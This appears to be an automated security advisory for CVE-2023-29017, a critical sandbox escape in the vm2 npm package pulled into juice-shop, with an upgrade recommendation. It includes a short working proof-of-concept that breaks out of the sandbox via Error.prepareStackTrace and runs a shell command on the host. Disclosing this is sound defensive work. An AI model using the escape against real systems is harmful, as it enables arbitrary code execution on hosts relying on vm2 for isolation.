Critical severity - Sandbox Escape vulnerability in vm2 (package.json)

[github-actions]

• Package Manager: npm
• Vulnerable module: vm2
• Introduced through: juice-shop@12.3.0, juicy-chat-bot@0.6.5 and others

Detailed paths

• Introduced through: juice-shop@12.3.0 › juicy-chat-bot@0.6.5 › vm2@3.9.3

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Sandbox Escape vm2 was not properly handling host objects passed to Error.prepareStackTrace in case of unhandled async errors.

PoC

const {VM} = require("vm2");
let vmInstance = new VM();

const code = Error.prepareStackTrace = (e, frames) => { frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); }; (async ()=>{}).constructor('return process')()

vmInstance.run(code);

Remediation

Upgrade vm2 to version 3.9.15 or higher.

References

• GitHub Commit
• GitHub Issue
• PoC
  
  SNYK-JS-VM2-5415299
  (CVE-2023-29017) vm2@3.9.3